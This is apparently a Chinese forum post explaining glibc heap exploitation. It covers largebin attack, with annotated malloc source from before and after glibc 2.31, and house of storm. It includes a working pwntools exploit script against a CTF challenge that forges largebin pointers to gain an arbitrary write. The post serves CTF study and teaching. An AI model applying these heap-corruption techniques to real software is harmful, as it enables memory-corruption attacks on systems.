找回密码
 立即注册
首页 业界区 业界 largebin attack与house of storm

largebin attack与house of storm

嶝扁 5 小时前
各版本glibc的保护手段(从2.23开始只关注重要变化)

这里先简单说一下各个glibc版本的变化,如果没说到的各位师傅可以补充
首先是2.24开了虚表保护,house of orange需要变化才能利用了
然后是2.26有tcache机制
2.27把abort函数中的fflush函数删了,完整的house of orange就此落幕
2.28在tcache里加了key字段防止tcache double free
2.29在unsortedbin里加了检测,unsortedbin落幕
2.30在largebin里加了检测,largebin attack只能写一个地址了
2.32加了safe linking机制,修改fd和bk指针需要有堆地址了
2.35则把hook函数移除了,之后堆的主要攻击就转向IO方向了。
Largebin  attack

2.31前的攻击

顾名思义就是利用largebin来进行攻击,这里我贴一下源码(2.31之前),以下注释来自浅析Large_bins_attack在高低版本的利用
  1. while((unsigned long)size < fwd->size){
  2.     fwd = fwd->fd_nextsize;
  3.     assert ((fwd->size & NON_MAIN_ARENA) == 0);
  4. } //这里检测的是从unsorted_bins里提取出的堆块是否小于large_bins里最近被释放的堆块的大小,如果小于,就将fwd向前移,也就是与比它更小的堆块对比
  5. if ((unsigned long) size == (unsigned long) fwd->size)
  6. /* Always insert in the second position.  */
  7. fwd = fwd->fd;//相等的话,就往后排列
  8. else
  9. {
  10.     victim->fd_nextsize = fwd; //这里,victim是从unsorted_bin提取出来的堆块,fwd是最近被释放进large_bin的堆块,分别对应我们的p3,p2
  11.     victim->bk_nextsize = fwd->bk_nextsize; //在此前,p2->bk_nextsize已经被我们设置为了stack_var2-0x20的地址,所以p3的bk_nextsize指向它
  12.     fwd->bk_nextsize = victim; //p2->bk_nextsize指向p3
  13.     victim->bk_nextsize->fd_nextsize = victim; //p3->bk_nextsize = stack_var2 - 0x20,也就是说我们已经伪造了一个堆块,(stack_var2-0x20)->fd_nexitsize就是stack_var2的地址,将该地址赋值p3的头指针
  14. }
  15. bck = fwd->bk; //p2的bk我们设置成了stack_var1-0x10,所以bck成了我们stack_var1-0x10这个虚假的chunk
复制代码
这个主要是什么意思呢,就是当unsortedbin的堆块要进入largebin中时,先检测其大小,我们利用的话一般要让进入largebin的堆块大于原有largebin中的堆块,这样就可以进下面这个else分支。因为我们攻击主要是利用这个else分支,我们单独取出来看看(也可以配合注释来看)
  1.    [...]
  2.              else
  3.              {
  4.                  victim->fd_nextsize = fwd;
  5.                  victim->bk_nextsize = fwd->bk_nextsize;
  6.                  fwd->bk_nextsize = victim;
  7.                  victim->bk_nextsize->fd_nextsize = victim;#第一个任意写的地方
  8.              }
  9.              bck = fwd->bk;
  10.    [...]
  11.    mark_bin (av, victim_index);
  12.    victim->bk = bck;#第二个任意写的地方
  13.    victim->fd = fwd;
  14.    fwd->bk = victim;
  15.    bck->fd = victim;
  16.    For more details on how large-bins are handled and sorted by ptmalloc,
  17.    please check the Background section in the aforementioned link.
复制代码
其实很简单,就是取值,把原堆块结构体里的指针指向新来的堆块,那我们是如何去进行攻击的呢?通过各种手段(uaf,堆溢出)修改已经在largebin的指针,伪造出堆块,修改已经在largebin的堆块的bk,bk_nextsize,把bk修改成目标地址-0x10,把bk_nextsize修改成目标地址-0x20(为什么修改这两个?因为largebin是头插法,所以我们下一个堆块进来时bk指针会改变,因为largebin是从大到小排列,我们进来的堆块比原来的大,所以bk_nextsize的值会变化)修改后就相当于又伪造出了两个堆块(因为没有对此进行检测,所以系统就以为这里有两个堆块,也就有了我们后面的攻击大概就是如图所示),改前:
1.png

改后:
2.png

这时候我们又有一个堆块想进入largebin,那么因为是头差法,就要找出来这个链表的头,也就是一个个bk遍历过去,在这里也就是这个堆块1(正中间的堆)的bk指针指向的堆块是头,这个堆块的bk指针就要指向新来堆块的堆地址,也就是把bk指针(目标地址-0x10)看成一个堆块的起始地址,我们要取他的bk指针就会对这个地址+0x10,然后就会把其中的值赋上新来堆块的地址;bk_nextsize同理,因为堆是从大到小排列,就要把整个链表的头找出来,也就是对bk_nextsize进行遍历,这个堆块1的bk_nextsize上面就是我们伪造的堆,他的bk_nextsize肯定是没有指向有效的值的,所以就会把堆块1的bk_nextsize指向的假堆看成是链表头,这时候就要取他的bk_nextsize(也就是为什么我们要把bk_nextsize写成目标地址-0x20)因为取头就要+0x20,最终效果如图。
3.png

看起来皆大欢喜,这个新来的堆成功进入了largebin的大家族,但其实其中两个家庭成员都是假的,我们的攻击也就此完成了。我们也在实际例子中试试看。来看例题
Polarctf-unk

这个题解法是unlink,不过我们目前不是演示这题怎么解的,只是演示一下unlink,这题有uaf漏洞,还有堆溢出漏洞,got表可写而且还没开pie,还是2.23版本的题,只能说是完美的沙包了。而且函数名也没剔除,感兴趣的话可以去这里下载PolarD&N
4.jpg

演示的脚本如下
  1. #!/usr/bin/env python3
  2. from pwn import *
  3. import sys
  4. from ctypes import *
  5. #from pwncli import *
  6. # cli_script()
  7. #from ae64 import AE64
  8. #from pymao import *
  9. context.log_level='debug'
  10. context.arch='amd64'
  11. elf=ELF('./pwn')
  12. #libc = ELF('./libc.so.6')
  13. # libc1=cdll.LoadLibrary('./libc.so.6')
  14. li='./libc.so.6'
  15. flag = 0
  16. if flag:
  17.     p = remote('1')
  18. else:
  19.     p = process('./pwn')
  20. sa = lambda s,n : p.sendafter(s,n)
  21. sla = lambda s,n : p.sendlineafter(s,n)
  22. sl = lambda s : p.sendline(s)
  23. slr = lambda s : p.sendline(str(s))
  24. sd = lambda s : p.send(s)
  25. sdr = lambda s : p.send(str(s).encode())
  26. rc = lambda n : p.recv(n)
  27. ru = lambda s : p.recvuntil(s)
  28. ti = lambda : p.interactive()
  29. rcl = lambda : p.recvline()
  30. leak = lambda name,addr :log.success(name+"--->"+hex(addr))
  31. u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
  32. i6 = lambda a : int(a,16)
  33. def csu():
  34.     pay=p64(0)+p64(0)+p64(1)
  35.     return pay
  36. def ph(s):
  37.     print(hex(s))
  38. def dbg():
  39.     # context.terminal = ['tmux', 'splitw', '-h']
  40.     gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
  41.     pause()
  42. def add(s,a):
  43.     ru(b"choice:")
  44.     sdr(1)
  45.     ru(b"index:")
  46.     sdr(s)
  47.     ru(b"size:")
  48.     sdr(a)
  49. def free(s):
  50.     ru(b"choice:")
  51.     sdr(2)
  52.     ru(b"index:")
  53.     sdr(s)
  54. def edit(s,a,d):
  55.     ru(b"choice:")
  56.     sdr(3)
  57.     ru(b"index:")
  58.     sdr(s)
  59.     ru(b"length:")
  60.     sdr(a)
  61.     ru(b"content:")
  62.     sd(d)
  63. def show(s):
  64.     ru(b"choice:")
  65.     sdr(4)
  66.     ru(b"index:")
  67.     sdr(s)
  68. tar=0x6010C0+0x50
  69. add(0,0x300)#让其他堆能顺利进入largebin的堆
  70. add(5,0x20)#防合并的堆
  71. add(1,0x410)#先进largebin的堆
  72. add(6,0x20)#防合并的堆
  73. add(2,0x420)#后进largebin的堆
  74. add(3,0x20)#防合并的堆
  75. free(0)
  76. free(1)
  77. add(4,0x30)#让堆块1先进largebin
  78. free(2)#让堆块2进入unsortedbin
  79. pay=0x20*b'b'+flat(0,0x401,0,tar+8-0x10,0,tar-0x20)
  80. edit(5,0x70,pay)#修改堆块1的内容(bk,bk_nextsize)
  81. add(5,0x30)#让堆块2进入largebin,达成攻击
  82. dbg()
  83. ti()
复制代码
为什么要堆块0呢?因为unsortedbin的堆块需要在再次申请堆块,遍历后大小合适才会把其中的堆块放入largebin,所以我们就一直申请0x30大小的堆,让堆块0一直被切割,同时触发遍历,把堆块放进largebin。攻击前
5.jpg

攻击后
6.jpg

可以肯定我们成功在堆块链表0x6010C0+0x50的地方写了两个堆块地址,这个堆块地址就是刚进入largebin的堆块地址。
2.31后因为加了检测,所以只能通过bk_nextsize写一个堆块了
  1. else
  2. {
  3.        victim->fd_nextsize = fwd;
  4.        victim->bk_nextsize = fwd->bk_nextsize;
  5.        if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd)) //以上面的p2为例的话,那就是检测stack_var2-0x20的fd_nextsize是否指向p2。是的话就报错
  6.               malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
  7.        fwd->bk_nextsize = victim;
  8.        victim->bk_nextsize->fd_nextsize = victim;
  9. }
  10. bck = fwd->bk;
  11. if (bck->fd != fwd)// 同理,如果stack_var1-0x10的fd是否指向p2,是就报错
  12.        malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
复制代码
House of storm

这个感觉名字很贴切,确实是storm,非常快速啊,通过一次申请改三个地址,并且直接申请到目标地址。主要利用手法就是先准备好一个unsortedbin中的堆块,再准备一个largebin中的堆块,修改largeQbin的bk,bk_nextsize分别是目标地址+8,目标地址-0x18-5,然后准备一个堆块大小小于largebin中的堆块,但能被放进largebin中的堆块。最后申请指定大小的堆就可以完成攻击了。因为在申请堆的时候在没有tcache时,先遍历unsortedbin,如果没有相同大小的堆就会把unsortedbin的堆放入对应的bin中,这时就会触发unsortedbinattack和largebinattack,这时我们就已经伪造出一个堆了(unsortedbin改的是bk指针,也就是下一个堆块的地址,当我们攻击完成后,这个堆块就符合要求可以申请了),具体的话就是用largebinattack伪造size位与bk指针,unsortedbin伪造fd指针,从而通过检测。具体我没有找到对应的题就不演示了,只能演示一下攻击效果,我这个没有开pie所以堆地址很小写不到size位
7.jpg


来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

相关推荐

您需要登录后才可以回帖 登录 | 立即注册